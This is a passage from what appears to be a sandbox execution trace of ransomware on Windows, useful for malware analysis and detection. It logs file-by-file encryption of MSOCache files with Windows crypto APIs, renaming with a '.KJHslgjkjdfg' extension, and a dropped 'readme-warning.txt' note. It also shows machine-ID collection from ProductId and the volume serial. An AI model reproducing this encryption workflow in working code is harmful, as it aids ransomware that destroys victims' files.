lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0129.460] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0129.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0129.461] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0129.461] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0129.461] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.461] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x5aa, lpOverlapped=0x0) returned 1 [0129.461] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0) returned 1 [0129.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.461] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0129.461] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.461] SetEndOfFile (hFile=0x124) returned 1 [0129.464] GetProcessHeap () returned 0x2a0000 [0129.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0129.464] GetProcessHeap () returned 0x2a0000 [0129.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0129.464] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.kjhslgjkjdfg")) returned 1 [0129.464] CloseHandle (hObject=0x124) returned 1 [0129.465] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0129.465] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0129.508] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=70361744) returned 1 [0129.508] GetProcessHeap () returned 0x2a0000 [0129.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0129.509] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0129.509] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.509] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0129.509] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.509] GetProcessHeap () returned 0x2a0000 [0129.509] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0129.509] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30) returned 1 [0129.509] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.509] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f4*=0x30, lpOverlapped=0x0) returned 1 [0129.555] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0129.556] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0129.556] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0129.556] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0129.556] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0129.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0129.556] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.556] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0129.556] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.560] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.565] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.565] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.566] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.566] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.567] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0129.567] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.571] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.574] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.574] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.575] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.575] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.575] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0129.575] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.618] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.621] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.622] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.622] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.622] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.622] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.622] SetEndOfFile (hFile=0x124) returned 1 [0129.626] GetProcessHeap () returned 0x2a0000 [0129.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0129.626] GetProcessHeap () returned 0x2a0000 [0129.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0129.626] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.kjhslgjkjdfg")) returned 1 [0130.292] CloseHandle (hObject=0x124) returned 1 [0130.292] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0130.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.292] GetProcessHeap () returned 0x2a0000 [0130.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.293] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0130.293] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x2, lpOverlapped=0x0) returned 1 [0130.295] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0130.295] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.295] GetProcessHeap () returned 0x2a0000 [0130.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0130.295] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0130.295] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.295] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0130.295] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0130.295] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0130.296] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0130.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.296] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0130.296] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0130.296] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.296] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x75e, lpOverlapped=0x0) returned 1 [0130.296] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x760, dwBufLen=0x760 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x760) returned 1 [0130.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.296] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x760, lpOverlapped=0x0) returned 1 [0130.296] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.297] SetEndOfFile (hFile=0x124) returned 1 [0130.299] GetProcessHeap () returned 0x2a0000 [0130.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0130.299] GetProcessHeap () returned 0x2a0000 [0130.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0130.299] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0130.300] CloseHandle (hObject=0x124) returned 1 [0130.305] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0130.305] GetProcessHeap () returned 0x2a0000 [0130.305] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0130.305] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.305] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0130.305] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.305] GetProcessHeap () returned 0x2a0000 [0130.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0130.306] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.306] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0130.306] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.306] GetProcessHeap () returned 0x2a0000 [0130.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0130.306] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.306] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0130.306] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.306] GetProcessHeap () returned 0x2a0000 [0130.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0130.306] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.306] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0130.306] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.306] GetProcessHeap () returned 0x2a0000 [0130.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0130.306] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.306] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0130.306] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.306] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0130.307] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0130.307] RegCloseKey (hKey=0x124) returned 0x0 [0130.307] GetProcessHeap () returned 0x2a0000 [0130.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0130.307] GetProcessHeap () returned 0x2a0000 [0130.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0130.307] GetProcessHeap () returned 0x2a0000 [0130.307] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0130.307] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.307] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0130.307] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.307] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0130.307] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0130.308] GetProcessHeap () returned 0x2a0000 [0130.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0130.308] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0130.308] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0130.308] GetProcessHeap () returned 0x2a0000 [0130.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0130.308] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0130.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.309] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0130.310] CloseHandle (hObject=0x124) returned 1 